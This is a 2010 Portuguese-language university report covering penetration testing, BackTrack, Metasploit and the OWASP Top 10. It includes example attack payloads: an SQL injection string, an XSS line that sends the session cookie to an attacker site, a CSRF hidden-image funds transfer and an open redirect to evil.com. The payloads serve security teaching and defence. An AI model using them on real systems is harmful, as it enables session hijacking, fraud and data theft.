Universidade de BrasíliaInstituto de Ciências Exatas Departamento de Ciência da Computação Lições sobre injeção de SQL do projeto WebGoat Segurança de Dados,Turma A, 01/2010 Thiago Melo Stuckert do Amaral 06/96773 Professor: Prof. Ms. Pedro Antônio Dourado de Rezende Brasília, 25 de agosto de 2010 . . . . . . . . . .8. . . . . . . . . . . . . . . . . . . . . . . .2 Proteção . . . . . . . . . 6. . . 6. . . . .1 Exemplo de cenário de ataque . . . . . 6. . . . . . .5. . . . . .2. .2 Proteção . . . . . . . . . . . . . . .1. . . . . . . . . . . . . . . .8 Falha de restrição de acesso à URL . . . . . . . . . . . . . . . . . . . .10 Redirecionamento sem validação .7. . . . . . . .1 Exemplo de cenário de ataque . 1 .1 Exemplo de cenário de ataque . . . .2 Proteção . . . . . . . . . . . . . . . . 6.3. . . . . . . . . . . . . . . . . 6. . . . .9 Proteção insuficiente na camada de transporte . . . .2. . . . . . . . 6.8. . . 6. . . . . . .2 Proteção . . . . . . . . . . . . 6. . . . . . . . . . .7. . . . . .1 Injeção de SQL . . . . . . . . . . . . . . . . .10. . . . . . . . .Sumário 1 Introdução 2 Teste de Penetração 3 Máquina virtual 4 BackTrack 5 Metasploit 6 OWASP TOP 10 6.2 Proteção . .4. . . . . . . . . 6. 7 whitelist vs blacklist 8 WebGoat 9 Teste 10 Conclusão 2 2 2 2 3 3 4 4 5 5 5 5 5 6 6 6 6 6 6 7 7 7 7 8 8 8 8 8 9 9 9 9 9 10 10 10 10 11 11 11 . . . . . . . . . . . . . . . . . . . . . . . 6. . . . . . . . . . . . . .5 Cross Site Request Forgery (CSRF) . . . . . . . . . .1 Exemplo de cenário de ataque . . .6. . . . 6. . . . . . . . . . . . . . . . . . . . . . . . . 6. . . . . . . . . . . . . . .9. . . . . . . . . . .1 Exemplo de cenário de ataque . . . . . . . . . . . . 6. . . .4. . . . . . . . .1 Exemplo de cenário de ataque . . .2 Proteção . . . . . 6. . . 6. . . . . . . . . .2 Proteção . . . . . . . . . 6. . . . . . .1 Exemplo de cenário de ataque . . . .2 Proteção . . . . . . . . . . . . . . . . . . . . . . . . . . . .6 Configuração inapropriada de segurança . . . .5. . . . . . . . .2 Cross Site Scripting (XSS) . . . . . . . 6. . . . 6. . . . . . . .1 Exemplo de cenário de ataque . . . . . . . . . . . . . . . . . . . . . . 6. .2 Proteção . . . . . . . . . . . . 6. . . . . . . 6. . . . . . .3 Falhas de autenticação e gerenciamento de sessão 6. . . . . . . . 6. . . .10. . 6. . . . . . 6. . . . .1 Exemplo de cenário de ataque . 6. 6. . . . . . . . .9. . . .1. . . . . . . . . . . . . . . . . . . . . . . .3.7 Armazenamento criptográfico inseguro . .6. . 6. . . 6. . . . .1 Exemplo de cenário de ataque . . .4 Referência direta insegura aos objetos . . . . . . . . . . . . . . . . . . . . . . . . . .2 Proteção . . Para logar no BackTrack utilizamos o usuário “root” e a senha “toor”. 4 BackTrack BackTrack é um sistema operacional GNU/Linux distribuído na forma de um DVD live. 3 Máquina virtual Uma máquina virtual é um software de virtualização. No presente trabalho escolhemos rodar o BackTrack através do VirtualBox pois este é software livre.1 Introdução Este trabalho apresenta uma simples definição de teste de penetração. 2 Teste de Penetração Testes de penetração são testes de segurança em que os auditores simulam ataques reais para identificar vulnerabilidades em recursos de aplicações. o projeto Metasploit dando destaque ao framework w3ac. Faz parte de uma auditoria de segurança da informação. a distribuição BackTrack. O BackTrack separa suas ferramentas em 11 categorias: * Coleta de Informações * Mapeamento de Rede * Identificação de vulnerabilidade 2 . Exemplos de softwares que implementam máquinas virtuais são: VMware e VirtualBox. integridade e confidencialidade das informações. para configurar a rede digitamos o seguinte comando: /etc/init. O BackTrack se originou da fusão de duas distribuições que possuíam o mesmo objetivo: WHAX e Auditor Security Collection. o qual se encontra no apêndice. é uma avaliação de risco ativa [4]. o qual permite a utilização de um sistema operacional dentro de outro. Com destaque para avaliações de disponibilidade. ou seja podemos rodar o sistema operacional sem precisar instalálo. sistemas ou redes [1]. Para iniciarmos a interface gráfica digita-se: startx. Qualquer dúvida em relação a instalação do BackTrack pode ser sanada através dos tutoriais disponíveis no site da comunidade. O BackTrack possui como principal objetivo servir como ambiente para um teste de penetração.d/networking start . os projetos OWASP TOP 10 e WebGoat e finaliza mostrando as lições sobre injeção de SQL do projeto WebGoat. A linha contendo um asterisco na primeira coluna representa um risco que estava presente na edição de 2004 do OWASP TOP 10 como “configuração insegura de gerenciamento”. Pelo fato do risco de injeção ser o primeiro nas duas edições. uma ferramenta para o desenvolvimento e execução de códigos de exploração em máquinas remotas. A seguir descreveremos cada um dos riscos apontados pelo OWASP TOP 10.* Análise de aplicações Web * Análise de rede de rádio (802. Como podemos ver os riscos não se modificaram muito de uma edição para outra. As linhas em vermelho representam riscos que estavam presentes no rank de 2007 porém foram removidos em 2010. O seu subprojeto mais conhecido é o Metasploit Framework. 6 OWASP TOP 10 O Open Web Application Security Project (OWASP) lançou em 2010 a terceira edição do projeto OWASP TOP 10.Rfid ) * Penetração * Escalada de privilégios * Manutenção de acesso * Forense digital * Engenharia reversa * Voz sobre IP (VOIP) * Diversos 5 Metasploit O Metasploit é um projeto de código aberto o qual provém informações sobre vulnerabilidades. escolhemos as lições sobre injeção de SQL do WebGoat como tema do presente trabalho. 3 . O Metasploit foi criado em 2003 como um jogo de rede portável utilizando a linguagem de script Perl. Outro subprojeto do Metasploit é o Web Application Attack and Audit Framework (w3af) cujo objetivo é criar um framework para identificar e explorar vulnerabilidades em aplicações Web. Utilizamos “FAGS” como abreviatura para falhas de autenticação e gerenciamento de sessão.11. A tabela 1 é um comparativo entre o OWASP TOP 10 de 2007 e o publicado em 2010 [2]. sobre os 10 maiores riscos em aplicações Web.Bluetooth. tal que o framework seja fácil de utilizar e estender. as linhas em marrom são riscos presentes no rank de 2010 porém não estavam presentes em 2007. 1 Exemplo de cenário de ataque A aplicação utiliza dado não confiável para montar uma consulta ao banco de dados: select * from alunos where id = "’ "+ request. OWASP TOP 10 . Figura 1: Tira em quadrinhos exemplificando a injeção de SQL [3].2007 Falhas de injeção Cross Site Scripting (XSS) FAGS Referência direta insegura aos objetos Cross Site Request Forgery (CSRF) * Armazenamento criptográfico inseguro Falha de restrição de acesso à URL Comunicações inseguras Não estava presente no Top 10 2007 Execução de arquivo malicioso Vazamento de informação e tratamento incorreto de erro OWASP TOP 10 . O atacante pode modificar o parâmetro para ’ or ’1’=’1. 6. esta ocorre quando uma entrada de um campo de texto informado pelo usuário é utilizado em uma consulta ao banco de dados sem nenhum tipo de validação.1. sendo um risco comum de fácil detecção e impacto severo.2010 Injeção Cross-Site Scripting (XSS) FAGS Referência direta insegura aos objetos Cross-Site Request Forgery (CSRF) Configuração inapropriada de segurança Armazenamento criptográfico inseguro Falha de restrição de acesso à URL Proteção insuficiente na camada de transporte Redirecionamento sem validação Removido do Top 10 2010 Removido do Top 10 2010 6. um exemplo de vulnerabilidade é a injeção de SQL. A figura 1 exemplifica de uma forma humorada uma injeção de SQL.getParameter("id")+"’ ".1 Injeção de SQL Falhas de injeção são muito comuns em aplicações Web. 4 . Este risco é facilmente explorado. Isto modifica o significado da consulta ao banco retornando todos os registros da tabela alunos.Tabela 1: Comparativo entre o rank de 2007 e o de 2010 [2]. Ocorre quando uma aplicação inclui dados informados por um usuário em um página enviada ao navegador sem realizar uma validação adequada. sendo um risco comum de dificuldade de detecção mediana e impacto severo.getParameter("CC") + ’>’ O atacante modifica o parâmetro ’CC’ no browser para: ’><script>document. Encontrar falhas pode ser difícil pois cada implementação é única.h.2. 6. * Utilizar uma whitelist onde se encontram todas as entradas válidas de um campo.2 Proteção * Utilizar uma Application Programming Interface (API) a qual proverá uma interface parametrizada. Este risco apresenta uma dificuldade de exploração mediana.1.2 Cross Site Scripting (XSS) XSS é a vulnerabilidade mais popular em aplicações Web. timeouts. 6. fácil detecção e impacto moderado. Este risco apresenta uma dificuldade de exploração mediana.2 Proteção * Realizar um tratamento adequado de todo dado não confiável no contexto HTML.1 Exemplo de cenário de ataque A aplicação utiliza dados não confiáveis na construção de parte do HTML: ’<input name=’cartao’ type= ’TEXT’ value="’ "+request. 6. Frequentemente possuem falhas em áreas como logout.cookie</script>’ Isto faz com que o ID de sessão da vítima seja enviado para o site do atacante.3 Falhas de autenticação e gerenciamento de sessão Autenticação apropriada e gerenciamento de sessão são mecanismos críticos para a segurança de aplicações Web.2. * Utilizar uma whitelist onde se encontram todas as entradas válidas. gerenciamento de senha.location= ’www.6.com/foo=’+document. 5 . 6. * Utilizar alguma rotina segura para tratar os caracteres especiais. imagine que o usuário tem acesso ao documento arq01.6. 6.4. 6. Caso o browser envie um cookie de 6 . 6. 6.example. sendo um risco comum de fácil detecção e impacto moderado. Este risco apresenta fácil exploração.pdf disponível na URL: www.pdf.2 Proteção * Utilizar um mapeamento do real nome do arquivo para o código que o usuário solicita.3. * Verificar as permissões do usuário ao tentar acessar um arquivo. colocando o ID da sessão na mesma: http://example. O usuário pode modificar a URL para tentar acessar o arquivo arq02.com/arq01.jsessionid=2P0OC2J?dest=Hawaii Um atacante pode reutilizar o ID de sessão de um usuário autenticado na aplicação.com/sale/saleitems.3.pdf.4.2 Proteção * Verificar as funções de logout e timeout. * Utilizar uma interface simples para os desenvolvedores. sem utilizar qualquer tipo de proteção. * Prover aos desenvolvedores um conjunto de controles de autenticação e gerenciamento de sessão.1 Exemplo de cenário de ataque O site de uma companhia aérea permite a reescrita da url.5 Cross Site Request Forgery (CSRF) CSRF tira vantagem de aplicações Web que permitem atacantes preverem todos os detalhes de uma ação particular.1 Exemplo de cenário de ataque Acesso a documentos sigilosos. As aplicações nem sempre verificam se o usuário possui permissão para acessar determinado objeto.4 Referência direta insegura aos objetos Ocorre quando um objeto é referenciado de forma direta. acessando assim um documento não autorizado. * Aumentar os esforços para evitar falhas XSS que podem roubar o ID da sessão. 6. Este risco apresenta fácil exploração. 6.2 Proteção A prevenção requer a inclusão de tokens imprevisíveis no corpo ou URL de cada requisição HTTP. a esconde em uma requisição de imagem como: <img src="http://example. Falhas de XSS são encontradas nos componentes deste framework. sendo um risco comum de fácil detecção e impacto moderado. A correção é lançado porém o desenvolvedor não atualiza a biblioteca da aplicação.com/app/transferFunds?amount=1500 &destinationAccount=4673243243 O atacante constrói uma requisição a qual fará com que a vítima transfira dinheiro para a sua conta.5. Até que esta atualização ocorra a aplicação fica sujeita a atacantes. a requisição forjada será executada e o dinheiro transferido. 6.6.1 Exemplo de cenário de ataque Uma aplicação permite ao usuário submeter uma requisição de mudança de estado na qual nada é secreto. configurações inapropriadas ou contas padrão.6 Configuração inapropriada de segurança Configuração inapropriada de segurança pode ocorrer em qualquer nível da pilha de aplicação.5. sendo um risco muito popular de fácil detecção e impacto moderado.1 Exemplo de cenário de ataque A aplicação confia em um framework como Struts. Como : http://example. 7 . Este risco apresenta dificuldade mediana de exploração. o atacante pode criar uma página que gera requisições forjadas que são idênticas a requisições legítimas. Scanners são úteis na detecção da falta de patches. Tais tokens devem ser no mínimo únicos por sessão do usuário. 6. 6.com. mas também podem ser únicos por requisição.sessão automaticamente.com/app/transferFunds?amount=1500 &destinationAccount=attackersAcct#” width="0"height="0"/> Caso a vítima visite a página aonde a referência para a falsa imagem está armazenada e já estiver logado no site example. 6.8 Falha de restrição de acesso à URL Caso um mecanismo de controle de acesso não seja implementado de forma adequada. armazenamento inseguro de chaves. utilizar um gerenciador de chaves.6. * Uma arquitetura de aplicação forte a qual provê uma boa separação da segurança entre os componentes. Os dados deverão estar cifrados ao menos de maneira a defender destas ameaças.7.2 Proteção * Estabelecer um processo repetível para tornar fácil e rápida a implementação de um outro ambiente da aplicação. 6. 8 .2 Proteção Todos os dados sensíveis devem ser cifrados. 6. as falhas mais comuns são uso de geradores de chaves inseguros. E a fita nunca chega no centro de backup. Este risco é de difícil exploração.1 Exemplo de cenário de ataque Uma fita de backup contendo registros é cifrada . * Garantir que os algoritmos de cifragem utilizados são fortes e as chaves também. * Garantir que todas as chaves são protegidas de acessos não autorizados. Este risco é de fácil exploração. algumas medidas: * Devemos levar em consideração as ameaças das quais desejamos proteger os dados. 6. * Garantir que backups estão cifrados e as chaves utilizadas estão armazenadas separadamente. Quando a criptografia é utilizada. algoritmos fracos e a não utilização de chaves rotativas. * Audições periódicas para detectar faltas de patches e configurações inapropriadas. porém a chave utilizada se encontra armazenada na mesma fita. sendo um risco incomum de difícil detecção e impacto severo.7. 6. sendo um risco incomum de dificuldade mediana de detecção e impacto moderado.7 Armazenamento criptográfico inseguro A falha mais comum nesta área é simplesmente não cifrar dados que merecem serem cifrados. é possível que um usuário tenha acesso a páginas que não deveriam ser permitidas. podendo assim capturar um cookie de sessão de uma vítima autenticada no site.8. 6. sendo um risco comum de fácil detecção e impacto moderado. Um atacante pode monitorar o tráfico da rede. 6.1 Exemplo de cenário de ataque Um site simplesmente não utiliza SSL para todas as páginas que requerem autenticação. alguns sites usam SSL apenas em páginas privadas. porém por motivos de desempenho.com/app/admin_getappInfo Ao acessar está página o usuário obtém privilégios de administrador invés de ser impedido de acessar.9 Proteção insuficiente na camada de transporte Aplicações frequentemente não protegem o tráfico da rede. Este risco é de difícil exploração. O atacante pode se logar no site como a vítima.2 Proteção Prover proteção na camada de transporte pode afetar o projeto da aplicação. Informações sensíveis devem ser transmitidas através de canais seguros providos por protocolos criptográficos como Secure Sockets Layer (SSL)/ Transport Layer Security (TLS). certifique-se que a página está sendo apresentada na ordem correta. 6. * A política de acesso deve ser facilmente configurável.8.9. O mais fácil é requerer SSL para toda a aplicação.6. No mínimo o desenvolvedor deve tomar cuidado com os seguintes aspectos: 9 . Considera a seguinte URL: http://example.9. * O mecanismo deve negar todos os acessos por padrão e permitir acesso através de pedidos para usuários específicos para cada página. * Se a página é apresentada em uma sequência. Este mecanismo de controle de acesso deve prover pelo menos: * Uma política de autenticação e autorização básica. 6.1 Exemplo de cenário de ataque O atacante simplesmente tenta navegar em algumas URLs.2 Proteção Para se prevenir desenvolvedores devem implementar uma autenticação e autorização para cada página. * Requerer SSL para todas as páginas que contém informações sensíveis.com/redirect.10 Redirecionamento sem validação Aplicações frequentemente redirecionam usuários para outras páginas. 7 whitelist vs blacklist Uma blacklist é uma lista de entradas maliciosas. Este risco apresenta uma dificuldade de exploração mediana. 6. enquanto uma whitelist é uma lista de entradas válidas. pois caso aceite entradas maliciosas a whitelist contém falhas. * Setar a flag “secure” em todos os cookies sensíveis. * Backend e outras conexões devem também utilizar SSL e outros protocolos criptográficos. * Não utilizar parâmetros do usuário nos redirecionamentos. * Configurar o provedor de SSL para suportar apenas algoritmos fortes. O atacante modifica o parâmetro URL para redirecionar os usuários para um site malicioso. A melhor maneira de gerar as entradas válidas é através de expressões regulares.example. * Garantir a validade de certificados. 10 .2 Proteção Pode-se proteger dessa falha de diferentes maneiras: * Simplesmente evitando usar redirecionamentos.jsp” a qual recebe um único parâmetro chamado “url”.com . permitindo aos atacantes escolher a página de destino. 6.1 Exemplo de cenário de ataque A aplicação possui uma página chamada “redirect.10. Como por exemplo: http://www. Porém esta expressão regular deve ser testada. Algumas vezes a página alvo é especificada em um parâmetro não validado. 6. sendo um risco incomum de fácil detecção e impacto moderado.10. não revogados e casem com os domínios usados pela aplicação. * Utilizar uma validação nos parâmetros e verificar se foi autorizado pelo usuário.jsp?url=evil. Uma whitelist é melhor para proteger uma aplicação pois o atacante tentará de todas as formas possíveis encontrar uma entrada não coberta na blacklist portanto seu espaço de busca é muito maior do que o espaço representado pelas entradas válidas. que não estejam expirados. 7z e WebGoat-5. Existem outros projetos que como o WebGoat disponibilizam uma aplicação com várias vulnerabilidades e um tutorial de como consertá-las. 9 Teste A seguir realizaremos os teste de injeção de SQL do WebGoat. descompactar o arquivo WebGoat-OWASP_Standard-5. O WebGoat agora pode ser acessado através do navegador Web pela url: http://127. 21. Deve-se substituir o arquivo WebGoat. Nesta pasta existirá o arquivo webgoat. Deve-se baixar os arquivos: WebGoatOWASP_Standard-5.3_RC1.7z em uma pasta. Para executarmos o WebGoat devemos ter instalado na nossa máquina a JDK 1. uma aplicação Web desenvolvida na plataforma J2EE mantida pela OWASP. endereço o qual também se encontra no apêndice. Este alerta também serve para o presente trabalho os testes demonstrados aqui não devem ser reproduzidos em ambientes reais sem a devida autorização. Portanto enquanto estiver usando a aplicação a máquina deve ser desconectada da internet. Caso alguém tente reproduzir os testes em uma aplicação real sem autorização estará infringindo a lei vigente. 23 e 27 está explicitada a JDK 1. No apêndice se encontra um link para o tutorial oficial de instalação do WebGoat porém este não está muito claro.3_RC1.sh deve-se verificar se nas linhas 10.0. O ambiente de execução dos testes escolhido neste trabalho foi o WebGoat. por exemplo o Gruyere.1:8080/WebGoat/attack . e o projeto Damn Vulnerable Web App.war da pasta /tomcat/webapps pelo arquivo WebGoat5.0.3_RC1.6 não a JDK 1. O WebGoat alerta que enquanto a aplicação estiver rodando na máquina esta será extremamente vulnerável a ataques. O projeto só tem fins educacionais.war do repositório do WebGoat. 11 .5. Estes ambientes de execução de testes são conhecidos como Wargames pois simulam ambientes reais porém ao tentarmos invadir estes não estamos infringindo nenhuma lei.war. Com estas modificações consegue-se levantar a aplicação através do seguinte comando: sh webgoat. Digita-se o usuário “guest” e senha “guest” .3_RC1. projeto recentemente lançado pelo Google.8 WebGoat O WebGoat da OWASP tem o intuito de mostrar para desenvolvedores de aplicações Web como testar estas contra vulnerabilidades bem conhecidas.sh start8080.6 e a variável JAVA_HOME setada corretamente. 10 Conclusão Através de um ambiente controlado como o WebGoat podemos treinar desenvolvedores de aplicações Web para que estes não cometam erros comuns na codificação. 12 . Professional Penetration Testing: Creating and Operating a Formal Hacking Lab. http://xkcd. Munroe. [2] OWASP Foundation. 2009.com/327/.org/ images/8/89/OWASP_Testing_Guide_V3.0. Owasp testing guide v 3.owasp. Exploits of a mom.Referências [1] OWASP Foundation. June 2008.pdf. Syngress Publishing. http://owasptop10. 13 . April 2010. https://www.googlecode. Owasp top 10. [3] R.pdf. com/files/OWASP\%20Top\%2010\%20-\%202010. Wilhelm. [4] T. August 2010. 14 .owasp. * VirtualBox : http://www.metasploit.org/.com/. * Metasploit: http://www.org/.Apêndice A Lista de ferramentas Este apêndice lista todas as ferramentas citadas neste trabalho com seus respectivos endereços eletrônicos. acessado em Agosto de 2010. acessado em Agosto de 2010.net/projects/dvwa/.appspot. acessado em Agosto de 2010.Tutorial de instalação: http://www. * Gruyere: http://google-gruyere.php.backtrack-linux. * Damn Vulnerable Web App: http://sourceforge. * Web Application Attack and Audit Framework (w3af ): http://w3af. * WebGoat . * WebGoat .Soluções:http://yehg.php/ WebGoat_User_and_Install_Guide_Table_of_Contents. acessado em Agosto de 2010.org/index.Repositório:http://code. acessado em Agosto de 2010.net/lab/pr0js/training/webgoat.com/. * WebGoat . * BackTrack : http://www.com/p/webgoat/downloads/ list. acessado em Agosto de 2010. acessado em Agosto de 2010. acessado em Agosto de 2010.virtualbox. sourceforge. acessado em Agosto de 2010.google.net/.